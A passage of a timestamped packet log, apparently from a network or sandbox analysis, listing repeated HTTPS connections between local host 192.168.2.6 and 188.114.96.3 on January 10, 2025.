Jan 10, 2025 15:14:32.462218046 CET	443	50061	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.462228060 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.462261915 CET	50061	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.602721930 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.602766037 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:32.602955103 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.603498936 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:32.603518963 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.080888987 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.080981970 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.096458912 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.096482992 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.115438938 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.115464926 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.478385925 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.478446007 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.478473902 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.478492022 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.478513956 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.478535891 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.478601933 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.478616953 CET	443	50062	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.478627920 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.478661060 CET	50062	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.587143898 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.587179899 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:33.587260008 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.587475061 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:33.587482929 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.072021961 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.072129011 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.072633028 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.072643995 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.073949099 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.073959112 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.502593040 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.502676010 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.502724886 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.502759933 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.502883911 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.502912998 CET	443	50063	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.502929926 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.502959013 CET	50063	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.618221045 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.618268013 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:34.618331909 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.618571997 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:34.618582964 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.083050013 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.083204031 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.083667040 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.083678007 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.084975958 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.084996939 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.491102934 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.491156101 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.491163969 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.491204977 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.491211891 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.491251945 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.491543055 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.491559982 CET	443	50064	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.491569042 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.491605997 CET	50064	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.604249001 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.604300976 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:35.604387045 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.604800940 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:35.604823112 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.136348963 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.136415958 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.143759966 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.143769026 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.157887936 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.157892942 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.567379951 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.567456961 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.567568064 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.567651033 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.567950964 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.567977905 CET	443	50065	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.567991972 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.568018913 CET	50065	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.680609941 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.680663109 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:36.680809021 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.681041956 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:36.681054115 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.137018919 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.137080908 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.137634039 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.137639999 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.138883114 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.138887882 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.544317007 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.544404030 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.544436932 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.544455051 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.544534922 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.544550896 CET	443	50066	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.544569969 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.544590950 CET	50066	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.649151087 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.649200916 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:37.649312973 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.649538994 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:37.649553061 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.135513067 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.135730028 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.136503935 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.136513948 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.137811899 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.137816906 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.564033031 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.564106941 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.564120054 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.564157963 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.566308022 CET	50067	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.566334963 CET	443	50067	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.903810978 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.903868914 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:38.903990030 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.904241085 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:38.904253960 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.378132105 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.378197908 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.378977060 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.378993034 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.381088972 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.381099939 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.774439096 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.774519920 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.774554968 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.774589062 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.774739981 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.774760962 CET	443	50068	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.774780989 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.774801016 CET	50068	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.883622885 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.883693933 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:39.883817911 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.884079933 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:39.884099007 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.370527029 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.370632887 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.371177912 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.371190071 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.372817993 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.372826099 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.781164885 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.781230927 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.781300068 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.781328917 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.781480074 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.781502008 CET	443	50069	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.781531096 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.781560898 CET	50069	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.883621931 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.883670092 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:40.883755922 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.884049892 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:40.884062052 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.361268997 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.361399889 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.361915112 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.361927986 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.363142967 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.363149881 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.788925886 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.788999081 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.789011955 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.789061069 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.789194107 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.789215088 CET	443	50070	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.789226055 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.789258957 CET	50070	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.899420977 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.899494886 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:41.899665117 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.900044918 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:41.900060892 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.365432024 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.365627050 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.366357088 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.366374016 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.367907047 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.367929935 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.758956909 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.759025097 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.759100914 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.759133101 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.759268999 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.759294033 CET	443	50071	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.759310961 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.759418964 CET	50071	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.868736982 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.868797064 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:42.868980885 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.869740009 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:42.869762897 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.339503050 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.339646101 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.340150118 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.340163946 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.341387987 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.341401100 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.743102074 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.743171930 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.743232965 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.743288040 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.743367910 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.743367910 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.743412018 CET	443	50072	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.743482113 CET	50072	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.852298021 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.852351904 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:43.852488995 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.852881908 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:43.852895021 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.311608076 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.311830997 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.312997103 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.313009024 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.313721895 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.313726902 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.726311922 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.726423979 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.726732969 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.728058100 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.728058100 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.728081942 CET	443	50073	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.728288889 CET	50073	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.836970091 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.837034941 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:44.837152958 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.837425947 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:44.837440014 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.302139044 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.302261114 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.302711010 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.302741051 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.303868055 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.303873062 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.717047930 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.717109919 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.717117071 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.717161894 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.717255116 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.717273951 CET	443	50074	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.717289925 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.717320919 CET	50074	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.821134090 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.821185112 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:45.821295023 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.821713924 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:45.821732044 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.278851032 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.278908014 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.279347897 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.279357910 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.280525923 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.280536890 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.670001030 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.670073032 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.670192003 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.670331955 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.670356035 CET	443	50075	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.670370102 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.670399904 CET	50075	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.829476118 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.829538107 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:46.829679012 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.829899073 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:46.829910994 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.287033081 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.287122011 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.287615061 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.287626028 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.288907051 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.288913965 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.685193062 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.685257912 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.685295105 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.685339928 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.715948105 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.715986967 CET	443	50076	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.716000080 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.716047049 CET	50076	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.822585106 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.822633982 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:47.822705030 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.823086023 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:47.823107004 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.279047966 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.279181957 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.279771090 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.279779911 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.280911922 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.280921936 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.678519964 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.678587914 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.678605080 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.678632975 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.678761005 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.678777933 CET	443	50077	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.678795099 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.678819895 CET	50077	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.789841890 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.789891958 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:48.789972067 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.790268898 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:48.790291071 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.252734900 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.252851009 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.253331900 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.253354073 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.254595995 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.254611969 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.675296068 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.675425053 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.675496101 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.675635099 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.675657988 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.675678968 CET	443	50078	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.675693035 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.675720930 CET	50078	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.789999008 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.790051937 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:49.790146112 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.790416002 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:49.790426016 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.254746914 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.254906893 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.287337065 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.287363052 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.307183027 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.307209969 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.674113035 CET	443	50079	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:50.674180031 CET	50079	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:50.674200058 CET	443	50079	188.114.96.3	192.168.2.6
